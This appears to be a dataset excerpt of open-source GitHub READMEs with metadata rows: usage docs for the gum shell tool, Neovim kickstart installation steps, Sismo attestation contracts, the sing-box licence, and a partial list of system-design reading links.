<img alt="Running the ./examples/commit.sh script to commit to git" width="600" src="https://vhs.charm.sh/vhs-7rRq3LsEuJVwhwr0xf6Er7.gif">
## Installation
Use a package manager:
```bash
# macOS or Linux
brew install gum
# Arch Linux (btw)
pacman -S gum
# Nix
nix-env -iA nixpkgs.gum
# Windows (via WinGet or Scoop)
winget install charmbracelet.gum
scoop install charm-gum
```
<details>
<summary>Debian/Ubuntu</summary>
```bash
sudo mkdir -p /etc/apt/keyrings
curl -fsSL https://repo.charm.sh/apt/gpg.key | sudo gpg --dearmor -o /etc/apt/keyrings/charm.gpg
echo "deb [signed-by=/etc/apt/keyrings/charm.gpg] https://repo.charm.sh/apt/ * *" | sudo tee /etc/apt/sources.list.d/charm.list
sudo apt update && sudo apt install gum
```
</details>
<details>
<summary>Fedora/RHEL</summary>
```bash
echo '[charm]
name=Charm
baseurl=https://repo.charm.sh/yum/
enabled=1
gpgcheck=1
gpgkey=https://repo.charm.sh/yum/gpg.key' | sudo tee /etc/yum.repos.d/charm.repo
sudo yum install gum
```
</details>
Or download it:
* [Packages][releases] are available in Debian, RPM, and Alpine formats
* [Binaries][releases] are available for Linux, macOS, Windows, FreeBSD, OpenBSD, and NetBSD
Or just install it with `go`:
```bash
go install github.com/charmbracelet/gum@latest
```
[releases]: https://github.com/charmbracelet/gum/releases
## Commands
* [`choose`](#choose): Choose an option from a list of choices
* [`confirm`](#confirm): Ask a user to confirm an action
* [`file`](#file): Pick a file from a folder
* [`filter`](#filter): Filter items from a list
* [`format`](#format): Format a string using a template
* [`input`](#input): Prompt for some input
* [`join`](#join): Join text vertically or horizontally
* [`pager`](#pager): Scroll through a file
* [`spin`](#spin): Display spinner while running a command
* [`style`](#style): Apply coloring, borders, spacing to text
* [`table`](#table): Render a table of data
* [`write`](#write): Prompt for long-form text
* [`log`](#log): Log messages to output
## Customization
You can customize `gum` options and styles with `--flags` and `$ENVIRONMENT_VARIABLES`.
See `gum <command> --help` for a full view of each command's customization and configuration options.
Customize with `--flags`:
```bash
gum input --cursor.foreground "#FF0" \
--prompt.foreground "#0FF" \
--placeholder "What's up?" \
--prompt "* " \
--width 80 \
--value "Not much, hby?"
```
Customize with `ENVIRONMENT_VARIABLES`:
```bash
export GUM_INPUT_CURSOR_FOREGROUND="#FF0"
export GUM_INPUT_PROMPT_FOREGROUND="#0FF"
export GUM_INPUT_PLACEHOLDER="What's up?"
export GUM_INPUT_PROMPT="* "
export GUM_INPUT_WIDTH=80
# --flags can override values set with environment
gum input
```
<img alt="Gum input displaying most customization options" width="600" src="https://vhs.charm.sh/vhs-5zb9DlQYA70aL9ZpYLTwKv.gif">
## Input
Prompt for input with a simple command.
```bash
gum input > answer.txt
gum input --password > password.txt
```
<img src="https://vhs.charm.sh/vhs-1nScrStFI3BMlCp5yrLtyg.gif" width="600" alt="Shell running gum input typing Not much, you?" />
## Write
Prompt for some multi-line text (`ctrl+d` to complete text entry).
```bash
gum write > story.txt
```
<img src="https://vhs.charm.sh/vhs-7abdKKrUEukgx9aJj8O5GX.gif" width="600" alt="Shell running gum write typing a story" />
## Filter
Filter a list of values with fuzzy matching:
```bash
echo Strawberry >> flavors.txt
echo Banana >> flavors.txt
echo Cherry >> flavors.txt
gum filter < flavors.txt > selection.txt
```
<img src="https://vhs.charm.sh/vhs-61euOQtKPtQVD7nDpHQhzr.gif" width="600" alt="Shell running gum filter on different bubble gum flavors" />
Select multiple options with the `--limit` flag or `--no-limit` flag. Use `tab` or `ctrl+space` to select, `enter` to confirm.
```bash
cat flavors.txt | gum filter --limit 2
cat flavors.txt | gum filter --no-limit
```
## Choose
Choose an option from a list of choices.
```bash
echo "Pick a card, any card..."
CARD=$(gum choose --height 15 {{A,K,Q,J},{10..2}}" "{โ ,โฅ,โฃ,โฆ})
echo "Was your card the $CARD?"
```
You can also select multiple items with the `--limit` or `--no-limit` flag, which determines
the maximum of items that can be chosen.
```bash
cat songs.txt | gum choose --limit 5
cat foods.txt | gum choose --no-limit --header "Grocery Shopping"
```
<img src="https://vhs.charm.sh/vhs-3zV1LvofA6Cbn5vBu1NHHl.gif" width="600" alt="Shell running gum choose with numbers and gum flavors" />
## Confirm
Confirm whether to perform an action. Exits with code `0` (affirmative) or `1`
(negative) depending on selection.
```bash
gum confirm && rm file.txt || echo "File not removed"
```
<img src="https://vhs.charm.sh/vhs-3xRFvbeQ4lqGerbHY7y3q2.gif" width="600" alt="Shell running gum confirm" />
## File
Prompt the user to select a file from the file tree.
```bash
EDITOR $(gum file $HOME)
```
<img src="https://vhs.charm.sh/vhs-2RMRqmnOPneneIgVJJ3mI1.gif" width="600" alt="Shell running gum file" />
## Pager
Scroll through a long document with line numbers and a fully customizable viewport.
```bash
gum pager < README.md
```
<img src="https://vhs.charm.sh/vhs-3iMDpgOLmbYr0jrYEGbk7p.gif" width="600" alt="Shell running gum pager" />
## Spin
Display a spinner while running a script or command. The spinner will
automatically stop after the given command exits.
To view or pipe the command's output, use the `--show-output` flag.
```bash
gum spin --spinner dot --title "Buying Bubble Gum..." -- sleep 5
```
<img src="https://vhs.charm.sh/vhs-3YFswCmoY4o3Q7MyzWl6sS.gif" width="600" alt="Shell running gum spin while sleeping for 5 seconds" />
Available spinner types include: `line`, `dot`, `minidot`, `jump`, `pulse`, `points`, `globe`, `moon`, `monkey`, `meter`, `hamburger`.
## Table
Select a row from some tabular data.
```bash
gum table < flavors.csv | cut -d ',' -f 1
```
<!-- <img src="https://stuff.charm.sh/gum/table.gif" width="600" alt="Shell running gum table" /> -->
## Style
Pretty print any string with any layout with one command.
```bash
gum style \
--foreground 212 --border-foreground 212 --border double \
--align center --width 50 --margin "1 2" --padding "2 4" \
'Bubble Gum (1ยข)' 'So sweet and so fresh!'
```
<img src="https://github.com/charmbracelet/gum/assets/42545625/67468acf-b3e0-4e78-bd89-360739eb44fa" width="600" alt="Bubble Gum, So sweet and so fresh!" />
## Join
Combine text vertically or horizontally. Use this command with `gum style` to
build layouts and pretty output.
Tip: Always wrap the output of `gum style` in quotes to preserve newlines
(`\n`) when using it as an argument in the `join` command.
```bash
I=$(gum style --padding "1 5" --border double --border-foreground 212 "I")
LOVE=$(gum style --padding "1 4" --border double --border-foreground 57 "LOVE")
BUBBLE=$(gum style --padding "1 8" --border double --border-foreground 255 "Bubble")
GUM=$(gum style --padding "1 5" --border double --border-foreground 240 "Gum")
I_LOVE=$(gum join "$I" "$LOVE")
BUBBLE_GUM=$(gum join "$BUBBLE" "$GUM")
gum join --align center --vertical "$I_LOVE" "$BUBBLE_GUM"
```
<img src="https://github.com/charmbracelet/gum/assets/42545625/68f7a25d-b495-48dd-982a-cee0c8ea5786" width="600" alt="I LOVE Bubble Gum written out in four boxes with double borders around them." />
## Format
`format` processes and formats bodies of text. `gum format` can parse markdown,
template strings, and named emojis.
```bash
# Format some markdown
gum format -- "# Gum Formats" "- Markdown" "- Code" "- Template" "- Emoji"
echo "# Gum Formats\n- Markdown\n- Code\n- Template\n- Emoji" | gum format
# Syntax highlight some code
cat main.go | gum format -t code
# Render text any way you want with templates
echo '{{ Bold "Tasty" }} {{ Italic "Bubble" }} {{ Color "99" "0" " Gum " }}' \
| gum format -t template
# Display your favorite emojis!
echo 'I :heart: Bubble Gum :candy:' | gum format -t emoji
```
For more information on template helpers, see the [Termenv
docs](https://github.com/muesli/termenv#template-helpers). For a full list of
named emojis see the [GitHub API](https://api.github.com/emojis).
<img src="https://github.com/charmbracelet/gum/assets/42545625/5cfbb0c8-0022-460d-841b-fec37527ca66" width="300" alt="Running gum format for different types of formats" />
## Log
`log` logs messages to the terminal at using different levels and styling using
the [`charmbracelet/log`](https://github.com/charmbracelet/log) library.
```bash
# Log some debug information.
gum log --structured --level debug "Creating file..." name file.txt
# DEBUG Unable to create file. name=temp.txt
# Log some error.
gum log --structured --level error "Unable to create file." name file.txt
# ERROR Unable to create file. name=temp.txt
# Include a timestamp.
gum log --time rfc822 --level error "Unable to create file."
```
See the Go [`time` package](https://pkg.go.dev/time#pkg-constants) for acceptable `--time` formats.
See [`charmbracelet/log`](https://github.com/charmbracelet/log) for more usage.
<img src="https://vhs.charm.sh/vhs-6jupuFM0s2fXiUrBE0I1vU.gif" width="600" alt="Running gum log with debug and error levels" />
## Examples
How to use `gum` in your daily workflows:
See the [examples](./examples/) directory for more real world use cases.
* Write a commit message:
```bash
git commit -m "$(gum input --width 50 --placeholder "Summary of changes")" \
-m "$(gum write --width 80 --placeholder "Details of changes")"
```
* Open files in your `$EDITOR`
```bash
$EDITOR $(gum filter)
```
* Connect to a `tmux` session
```bash
SESSION=$(tmux list-sessions -F \#S | gum filter --placeholder "Pick session...")
tmux switch-client -t $SESSION || tmux attach -t $SESSION
```
* Pick a commit hash from `git` history
```bash
git log --oneline | gum filter | cut -d' ' -f1 # | copy
```
* Simple [`skate`](https://github.com/charmbracelet/skate) password selector.
```
skate list -k | gum filter | xargs skate get
```
* Uninstall packages
```bash
brew list | gum choose --no-limit | xargs brew uninstall
```
* Clean up `git` branches
```bash
git branch | cut -c 3- | gum choose --no-limit | xargs git branch -D
```
* Checkout GitHub pull requests with [`gh`](https://cli.github.com/)
```bash
gh pr list | cut -f1,2 | gum choose | cut -f1 | xargs gh pr checkout
```
* Copy command from shell history
```bash
gum filter < $HISTFILE --height 20
```
* `sudo` replacement
```bash
alias please="gum input --password | sudo -nS"
```
## Feedback
Weโd love to hear your thoughts on this project. Feel free to drop us a note!
* [Twitter](https://twitter.com/charmcli)
* [The Fediverse](https://mastodon.social/@charmcli)
* [Discord](https://charm.sh/chat)
## License
[MIT](https://github.com/charmbracelet/gum/raw/main/LICENSE)
***
Part of [Charm](https://charm.sh).
<a href="https://charm.sh/"><img alt="The Charm logo" src="https://stuff.charm.sh/charm-badge.jpg" width="400" /></a>
Charm็ญ็ฑๅผๆบ โข Charm loves open source
| A tool for glamorous shell scripts ๐ | bash,shell | 15 | 51 | 252 | 447 | 139 | 5 | 5 |
nvim-lua/kickstart.nvim | # kickstart.nvim
## Introduction
A starting point for Neovim that is:
* Small
* Single-file
* Completely Documented
**NOT** a Neovim distribution, but instead a starting point for your configuration.
## Installation
### Install Neovim
Kickstart.nvim targets *only* the latest
['stable'](https://github.com/neovim/neovim/releases/tag/stable) and latest
['nightly'](https://github.com/neovim/neovim/releases/tag/nightly) of Neovim.
If you are experiencing issues, please make sure you have the latest versions.
### Install External Dependencies
External Requirements:
- Basic utils: `git`, `make`, `unzip`, C Compiler (`gcc`)
- [ripgrep](https://github.com/BurntSushi/ripgrep#installation)
- Clipboard tool (xclip/xsel/win32yank or other depending on platform)
- A [Nerd Font](https://www.nerdfonts.com/): optional, provides various icons
- if you have it set `vim.g.have_nerd_font` in `init.lua` to true
- Language Setup:
- If want to write Typescript, you need `npm`
- If want to write Golang, you will need `go`
- etc.
> **NOTE**
> See [Install Recipes](#Install-Recipes) for additional Windows and Linux specific notes
> and quick install snippets
### Install Kickstart
> **NOTE**
> [Backup](#FAQ) your previous configuration (if any exists)
Neovim's configurations are located under the following paths, depending on your OS:
| OS | PATH |
| :- | :--- |
| Linux, MacOS | `$XDG_CONFIG_HOME/nvim`, `~/.config/nvim` |
| Windows (cmd)| `%userprofile%\AppData\Local\nvim\` |
| Windows (powershell)| `$env:USERPROFILE\AppData\Local\nvim\` |
#### Recommended Step
[Fork](https://docs.github.com/en/get-started/quickstart/fork-a-repo) this repo
so that you have your own copy that you can modify, then install by cloning the
fork to your machine using one of the commands below, depending on your OS.
> **NOTE**
> Your fork's url will be something like this:
> `https://github.com/<your_github_username>/kickstart.nvim.git`
#### Clone kickstart.nvim
> **NOTE**
> If following the recommended step above (i.e., forking the repo), replace
> `nvim-lua` with `<your_github_username>` in the commands below
<details><summary> Linux and Mac </summary>
```sh
git clone https://github.com/nvim-lua/kickstart.nvim.git "${XDG_CONFIG_HOME:-$HOME/.config}"/nvim
```
</details>
<details><summary> Windows </summary>
If you're using `cmd.exe`:
```
git clone https://github.com/nvim-lua/kickstart.nvim.git %userprofile%\AppData\Local\nvim\
```
If you're using `powershell.exe`
```
git clone https://github.com/nvim-lua/kickstart.nvim.git $env:USERPROFILE\AppData\Local\nvim\
```
</details>
### Post Installation
Start Neovim
```sh
nvim
```
That's it! Lazy will install all the plugins you have. Use `:Lazy` to view
current plugin status. Hit `q` to close the window.
Read through the `init.lua` file in your configuration folder for more
information about extending and exploring Neovim. That also includes
examples of adding popularly requested plugins.
### Getting Started
[The Only Video You Need to Get Started with Neovim](https://youtu.be/m8C0Cq9Uv9o)
### FAQ
* What should I do if I already have a pre-existing neovim configuration?
* You should back it up and then delete all associated files.
* This includes your existing init.lua and the neovim files in `~/.local`
which can be deleted with `rm -rf ~/.local/share/nvim/`
* Can I keep my existing configuration in parallel to kickstart?
* Yes! You can use [NVIM_APPNAME](https://neovim.io/doc/user/starting.html#%24NVIM_APPNAME)`=nvim-NAME`
to maintain multiple configurations. For example, you can install the kickstart
configuration in `~/.config/nvim-kickstart` and create an alias:
```
alias nvim-kickstart='NVIM_APPNAME="nvim-kickstart" nvim'
```
When you run Neovim using `nvim-kickstart` alias it will use the alternative
config directory and the matching local directory
`~/.local/share/nvim-kickstart`. You can apply this approach to any Neovim
distribution that you would like to try out.
* What if I want to "uninstall" this configuration:
* See [lazy.nvim uninstall](https://github.com/folke/lazy.nvim#-uninstalling) information
* Why is the kickstart `init.lua` a single file? Wouldn't it make sense to split it into multiple files?
* The main purpose of kickstart is to serve as a teaching tool and a reference
configuration that someone can easily use to `git clone` as a basis for their own.
As you progress in learning Neovim and Lua, you might consider splitting `init.lua`
into smaller parts. A fork of kickstart that does this while maintaining the
same functionality is available here:
* [kickstart-modular.nvim](https://github.com/dam9000/kickstart-modular.nvim)
* Discussions on this topic can be found here:
* [Restructure the configuration](https://github.com/nvim-lua/kickstart.nvim/issues/218)
* [Reorganize init.lua into a multi-file setup](https://github.com/nvim-lua/kickstart.nvim/pull/473)
### Install Recipes
Below you can find OS specific install instructions for Neovim and dependencies.
After installing all the dependencies continue with the [Install Kickstart](#Install-Kickstart) step.
#### Windows Installation
<details><summary>Windows with Microsoft C++ Build Tools and CMake</summary>
Installation may require installing build tools and updating the run command for `telescope-fzf-native`
See `telescope-fzf-native` documentation for [more details](https://github.com/nvim-telescope/telescope-fzf-native.nvim#installation)
This requires:
- Install CMake and the Microsoft C++ Build Tools on Windows
```lua
{'nvim-telescope/telescope-fzf-native.nvim', build = 'cmake -S. -Bbuild -DCMAKE_BUILD_TYPE=Release && cmake --build build --config Release && cmake --install build --prefix build' }
```
</details>
<details><summary>Windows with gcc/make using chocolatey</summary>
Alternatively, one can install gcc and make which don't require changing the config,
the easiest way is to use choco:
1. install [chocolatey](https://chocolatey.org/install)
either follow the instructions on the page or use winget,
run in cmd as **admin**:
```
winget install --accept-source-agreements chocolatey.chocolatey
```
2. install all requirements using choco, exit previous cmd and
open a new one so that choco path is set, and run in cmd as **admin**:
```
choco install -y neovim git ripgrep wget fd unzip gzip mingw make
```
</details>
<details><summary>WSL (Windows Subsystem for Linux)</summary>
```
wsl --install
wsl
sudo add-apt-repository ppa:neovim-ppa/unstable -y
sudo apt update
sudo apt install make gcc ripgrep unzip git xclip neovim
```
</details>
#### Linux Install
<details><summary>Ubuntu Install Steps</summary>
```
sudo add-apt-repository ppa:neovim-ppa/unstable -y
sudo apt update
sudo apt install make gcc ripgrep unzip git xclip neovim
```
</details>
<details><summary>Debian Install Steps</summary>
```
sudo apt update
sudo apt install make gcc ripgrep unzip git xclip curl
# Now we install nvim
curl -LO https://github.com/neovim/neovim/releases/latest/download/nvim-linux64.tar.gz
sudo rm -rf /opt/nvim-linux64
sudo mkdir -p /opt/nvim-linux64
sudo chmod a+rX /opt/nvim-linux64
sudo tar -C /opt -xzf nvim-linux64.tar.gz
# make it available in /usr/local/bin, distro installs to /usr/bin
sudo ln -sf /opt/nvim-linux64/bin/nvim /usr/local/bin/
```
</details>
<details><summary>Fedora Install Steps</summary>
```
sudo dnf install -y gcc make git ripgrep fd-find unzip neovim
```
</details>
<details><summary>Arch Install Steps</summary>
```
sudo pacman -S --noconfirm --needed gcc make git ripgrep fd unzip neovim
```
</details>
| A launch point for your personal nvim configuration | null | 0 | 113 | 563 | 277 | 13 | 13 | 1 |
sismo-core/sismo-badges | <br />
<div align="center">
<img src="docs/top.png" alt="Logo" width="100" height="100" style="borderRadius: 20px">
<h3 align="center">
Sismo Protocol Contracts
</h3>
<p align="center">
Made by <a href="https://www.sismo.io/" target="_blank">Sismo</a>
</p>
<p align="center">
<a href="https://discord.gg/sismo" target="_blank">
<img src="https://img.shields.io/badge/Discord-7289DA?style=for-the-badge&logo=discord&logoColor=white"/>
</a>
<a href="https://twitter.com/sismo_eth" target="_blank">
<img src="https://img.shields.io/badge/Twitter-1DA1F2?style=for-the-badge&logo=twitter&logoColor=white"/>
</a>
</p>
<a href="https://www.sismo.io/" target="_blank">
</a>
</div>
<br/>
This repository contains the smart contracts of the Sismo Protocol.
There are three core contracts:
- `core/AttestationsRegistry.sol`: The registry stores all attestations. It is owned by the governance that authorizes/unauthorize issuers to record in it
- `core/Attester.sol` The standard abstract contract must be inherited by attesters. Attesters are issuers of attestations. They verify user requests and build attestations that will be recorded in the registry
- `core/Badges.sol` Reads the registry. Stateless Non Transferable Token view of attestations (ERC1155)
It also contains implementations of attester in `attesters/`:
- `HydraS1SimpleAttester.sol`: ZK Attester using the [Hydra S1 Proving Scheme](https://hydra-s1.docs.sismo.io) and the notion of nullifiers. Users must provide a ZK Proof along with their request to generate attestations
- `HydraS1AccountboundAttester.sol`: Accountbound version of the Simple Hydra S1 Simple Attester. (Users can update at will where the attestation is stored)
<br/><br/>
## Sismo protocol
A complete overview of the protocol is available in our [documentation](https://protocol.docs.sismo.io)
## Deployed contracts
Deployed contracts can be found [here](https://docs.sismo.io/sismo-docs/deployed-contract-addresses)
## Usage
### Installation
```
yarn
```
### Compile contracts
Compile contracts using hardhat
```
yarn compile
```
### Test
Launch all tests
```
yarn test
```
### Print storage layout
```
yarn storage-layout
```
### Deploy on local chain
Terminal tab 1
```
yarn chain
```
Terminal tab 2
```
yarn deploy:local
```
## Create a new Attester
To develop a new attester, you must inherit the `core/Attester.sol` abstract contract and implement the following functions:
- `_verifyRequest(request, proofData)`: You must implement the user request verification against the proof provided by the user
- `buildAttestations(request, proofData)`: You must build the attestations that will be recorded from a verified user request
Other optional hook functions that can be implemented:
- `_beforeRecordAttestations(request, proofData)`
- `_afterRecordAttestations(request, proofData)`
The `/attesters/hydra-s1/HydraS1SimpleAttester.sol` is a good example of an attester implementing those functions.
A [guide](https://attesters.docs.sismo.io) is offered in our documentation.
Feel free open a PR with your new attester in `/attester`!
## License
Distributed under the MIT License.
## Contribute
Please, feel free to open issues, PRs or simply provide feedback!
## Contact
Prefer [Discord](https://discord.gg/sismo) or [Twitter](https://twitter.com/sismo_eth)
<br/>
<img src="https://static.sismo.io/readme/bottom-main.png" alt="bottom" width="100%" >
| Contracts of the Sismo Badge Minting Protocol | did,ethereum,zkp,attestations,smart-contracts | 29 | 7 | 69 | 307 | 1 | 32 | 2 |
SagerNet/sing-box | # sing-box
The universal proxy platform.
[](https://repology.org/project/sing-box/versions)
## Documentation
https://sing-box.sagernet.org
## Support
https://community.sagernet.org/c/sing-box/
## License
```
Copyright (C) 2022 by nekohasekai <contact-sagernet@sekai.icu>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
In addition, no derivative work may use the name or imply association
with this application without prior consent.
``` | The universal proxy platform | null | 268 | 60 | 306 | 1,394 | 46 | 26 | 5 |
InterviewReady/system-design-resources | # System Design Resources
These are the best resources for System Design on the Internet.
# Table of Contents
- [Video Processing](#video-processing)
- [Cluster and Workflow Management](#cluster-and-workflow-management)
- [Intra-Service Messaging](#intra-service-messaging)
- [Message Queue Antipattern](#message-queue-antipattern)
- [Service Mesh](#service-mesh)
- [Practical System Design](#practical-system-design)
- [Distributed File System](#distributed-file-system)
- [Time Series Databases](#time-series-databases)
- [Rate Limiting](#rate-limiting)
- [In Memory Database - Redis](#in-memory-database---redis)
- [Network Protocols](#network-protocols)
- [Chess Engine Design](#chess-engine-design)
- [Subscription Management System](#subscription-management-system)
- [Google Docs](#google-docs)
- [API Design](#api-design)
- [NoSQL Database Internals](#nosql-database-internals)
- [NoSQL Database Algorithms](#nosql-database-algorithms)
- [Database Replication](#database-replication)
- [Containers and Docker](#containers-and-docker)
- [Capacity Estimation](#capacity-estimation)
- [Publisher Subscriber](#publisher-subscriber)
- [Event Driven Architectures](#event-driven-architectures)
- [Software Architectures](#software-architectures)
- [Microservices](#microservices)
- [Distributed Transactions consistency Patterns](#distributed-transactions-consistency-patterns)
- [Load Balancing](#load-balancing)
- [Alerts and Anomaly Detection](#alerts-and-anomaly-detection)
- [Distributed Logging](#distributed-logging)
- [Metrics and Text Search Engine](#metrics-and-text-search-engine)
- [Single Point of Failure](#single-point-of-failure)
- [Location Based Services](#location-based-services)
- [Batch Processing](#batch-processing)
- [Real Time Stream Processing](#real-time-stream-processing)
- [Caching](#caching)
- [Distributed Consensus](#distributed-consensus)
- [Authorization](#authorization)
- [Content Delivery Network](#content-delivery-network)
- [Testing Distributed Systems](#testing-distributed-systems)
- [System Design Resources](#system-design-resources)
##
## Video Processing
- [Transcoding Videos at Scale](https://www.egnyte.com/blog/2018/12/transcoding-how-we-serve-videos-at-scale/)
- [Facebook Video Broadcasting](https://engineering.fb.com/ios/under-the-hood-broadcasting-live-video-to-millions/)
- [Netflix Video Encoding at Scale](https://netflixtechblog.com/high-quality-video-encoding-at-scale-d159db052746)
- [Netflix Shot based encoding](https://netflixtechblog.com/optimized-shot-based-encodes-now-streaming-4b9464204830)
##
## Cluster and Workflow Management
- [Facebook Cluster Management](https://engineering.fb.com/data-center-engineering/twine/)
- [Google Autopilot - Autoscaling](https://dl.acm.org/doi/pdf/10.1145/3342195.3387524)
- [Netflix Workflow Orchestration](https://netflix.github.io/conductor/)
- [Opensource Workflow Management](https://github.com/spotify/luigi)
- [Meta Hardware Management](https://engineering.fb.com/2020/12/09/data-center-engineering/how-facebook-keeps-its-large-scale-infrastructure-hardware-up-and-running/)
- [Meta Capacity Assignment](https://engineering.fb.com/2022/09/06/data-center-engineering/viewing-the-world-as-a-computer-global-capacity-management/)
- [Amazon EC2](https://www.allthingsdistributed.com/2015/07/under-the-hood-of-the-amazon-ec2-container-service.html)
##
## Intra-Service Messaging
- [What is a message queue](https://www.cloudamqp.com/blog/what-is-message-queuing.html)
- [AirBnb Idempotency](https://medium.com/airbnb-engineering/avoiding-double-payments-in-a-distributed-payments-system-2981f6b070bb)
- [Nginx Service Mesh](https://www.nginx.com/learn/service-mesh/)
- [Meta Async Task Computing](https://engineering.fb.com/2023/01/31/production-engineering/meta-asynchronous-computing/)
## Message Queue Antipattern
- [DB as queue Antipattern](https://en.wikipedia.org/wiki/Database-as-IPC)
- [Using a database as a message queue](https://softwareengineering.stackexchange.com/questions/231410/why-database-as-queue-so-bad)
- [Anti-pattern of DB as a queue](http://mikehadlow.blogspot.com/2012/04/database-as-queue-anti-pattern.html)
- [Drawbacks of DB as a queue](https://www.cloudamqp.com/blog/why-is-a-database-not-the-right-tool-for-a-queue-based-system.html)
##
## Service Mesh
- [Kubernetes Service Mesh](https://akomljen.com/kubernetes-service-mesh/)
- [Kubernetes Sidecar](https://www.weave.works/blog/introduction-to-service-meshes-on-kubernetes-and-progressive-delivery)
- [Service Mesh](https://www.weave.works/blog/introduction-to-service-meshes-on-kubernetes-and-progressive-delivery)
- [NginX Service Mesh](https://www.nginx.com/learn/service-mesh/)
- [Data Plane and Control Plane](https://blog.envoyproxy.io/service-mesh-data-plane-vs-control-plane-2774e720f7fc)
##
## Practical System Design
- [Facebook Messenger Optimisations](https://spectrum.ieee.org/how-facebooks-software-engineers-prepare-messenger-for-new-years-eve)
- [YouTube Architecture](http://highscalability.com/youtube-architecture)
- [YouTube scalability 2012](https://www.youtube.com/watch?v=w5WVu624fY8)
- [Distributed Design Patterns](http://horicky.blogspot.com/2010/10/scalable-system-design-patterns.html)
- [Monolith to Microservice](https://martinfowler.com/articles/break-monolith-into-microservices.html)
- [Zerodha Tech Stack](https://zerodha.tech/blog/hello-world/)
##
## Distributed File System
- [Open Source Distributed File System](https://docs.ceph.com/en/latest/architecture/)
- [Amazon S3 Performance hacks](https://aws.amazon.com/blogs/aws/amazon-s3-performance-tips-tricks-seattle-hiring-event/)
- [Amazon S3 object expiration](https://aws.amazon.com/blogs/aws/amazon-s3-object-expiration/)
##
## Time Series Databases
- [Pinterest Time Series Database](https://medium.com/pinterest-engineering/goku-building-a-scalable-and-high-performant-time-series-database-system-a8ff5758a181)
- [Uber Time Series DB](https://eng.uber.com/aresdb/)
- [TimeSeries Relational DB](https://blog.timescale.com/blog/time-series-data-why-and-how-to-use-a-relational-database-instead-of-nosql-d0cd6975e87c)
- [Facebook Gorilla Time Series DB](http://www.vldb.org/pvldb/vol8/p1816-teller.pdf)
##
## Rate Limiting
- [Circuit Breaker Algorithm](https://martinfowler.com/bliki/CircuitBreaker.html)
- [Uber Rate Limiter](https://github.com/uber-go/ratelimit/blob/master/ratelimit.go)
##
## In Memory Database - Redis
- [Redis Official Documentation](https://redis.com/)
- [Learn Redis through Redis University](https://university.redis.com/)
- [Redis Open Source Repo](https://github.com/redis/redis)
- [Redis Architecture](https://medium.com/opstree-technology/redis-cluster-architecture-replication-sharding-and-failover-86871e783ac0)
##
## Network Protocols
- [What is HTTP](https://engineering.cred.club/head-of-line-hol-blocking-in-http-1-and-http-2-50b24e9e3372)
- [QUIC Protocol](https://www.akamai.com/blog/performance/http3-and-quic-past-present-and-future)
- [TCP Protocol algorithms](https://ee.lbl.gov/papers/congavoid.pdf) (First 10 pages are important)
- [WebRTC](https://webrtc.github.io/webrtc-org/blog/2012/07/23/a-great-introduction-to-webrtc.html)
- [WebSockets](https://datatracker.ietf.org/doc/html/rfc6455#section-1.2)
- [Dynamic Source Routing using QUIC](https://fb.watch/fSEbI4KHlA/)
##
## Chess Engine Design
- [Chess Engine Building](https://www.youtube.com/watch?v=U4ogK0MIzqk)
##
## Subscription Management System
- [Subscription Manager](https://netflixtechblog.com/building-a-rule-based-platform-to-manage-netflix-membership-skus-at-scale-e3c0f82aa7bc)
##
## Google Docs
- [Operational Transform](http://www.codecommit.com/blog/java/understanding-and-applying-operational-transformation)
- [Google Docs](https://www.youtube.com/watch?v=uOFzWZrsPV0&list=PLX)
- [Lumiere](https://www.arxiv.org/abs/2401.12945)
##
## API Design
- [API Design at Airbnb](https://medium.com/airbnb-engineering/building-services-at-airbnb-part-1-c4c1d8fa811b)
- [Swagger APIs](https://swagger.io/docs/specification/about/)
##
## NoSQL Database Internals
- [Cassandra Architecture](https://docs.datastax.com/en/archived/cassandra/3.0/cassandra/architecture/archIntro.html)
- [Google BigTable Architecture](https://static.googleusercontent.com/media/research.google.com/en//archive/bigtable-osdi06.pdf)
- [Amazon Dynamo DB Internals](https://www.allthingsdistributed.com/2007/10/amazons_dynamo.html)
- [Design Patterns in Amazon Dynamo DB](https://www.youtube.com/watch?v=HaEPXoXVf2k)
- [Internals of Amazon Dynamo DB](https://www.youtube.com/watch?v=yvBR71D0nAQ)
##
## NoSQL Database Algorithms
- [Hyperloglog Algorithm](https://odino.org/my-favorite-data-structure-hyperloglog/)
- [Log Structured Merge Tree](https://www.cs.umb.edu/~poneil/lsmtree.pdf)
- [Sorted String Tables and Compaction Strategies](https://github.com/scylladb/scylla/wiki/SSTable-compaction-and-compaction-strategies)
- [Leveled Compaction Cassandra](https://www.datastax.com/blog/leveled-compaction-apache-cassandra)
- [Scylla DB Compaction](https://github.com/scylladb/scylla/wiki/SSTable-compaction-and-compaction-strategies)
- [Indexing in Cassandra](https://www.bmc.com/blogs/cassandra-clustering-columns-partition-composite-key/)
##
## Database Replication
- [Database replication](https://dev.mysql.com/doc/refman/8.0/en/replication.html)
- [Netflix Data replication - Change Data Capture](https://netflixtechblog.com/dblog-a-generic-change-data-capture-framework-69351fb9099b)
- [LinkedIn Logging Usecases](https://engineering.linkedin.com/distributed-systems/log-what-every-software-engineer-should-know-about-real-time-datas-unifying)
- [Uber Trillions of indexes in LedgerStore](https://www.uber.com/en-IN/blog/how-ledgerstore-supports-trillions-of-indexes)
##
## Containers and Docker
- [Facebook Twine Containerization](https://engineering.fb.com/developer-tools/zookeeper-twine/)
- [CloudFlare Containerization](https://blog.cloudflare.com/cloud-computing-without-containers/)
- [Docker Architecture](https://docs.docker.com/get-started/overview/#docker-architecture)
##
## Capacity Estimation
- [Google Capacity Estimation](https://www.youtube.com/watch?v=modXC5IWTJI)
- [Scalability at YouTube 2012](https://www.youtube.com/watch?v=G-lGCC4KKok)
- [Back of envelope Calculations at AWS](https://www.youtube.com/watch?v=-3qetLv2Yp0)
- [Capacity Estimation](http://static.googleusercontent.com/media/research.google.com/en//people/jeff/stanford-295-talk.pdf)
##
## Publisher Subscriber
- [Oracle Publisher Subscriber](https://docs.oracle.com/cd/B10501_01/appdev.920/a96590/adg15pub.htm)
- [Amazon Pub Sub Messaging](https://aws.amazon.com/pub-sub-messaging/)
- [Asynchronous processing](http://blog.codepath.com/2013/01/06/asynchronous-processing-in-web-applications-part-2-developers-need-to-understand-message-queues/)
- [Async Request Response](https://www.enterpriseintegrationpatterns.com/patterns/conversation/RequestResponse.html)
##
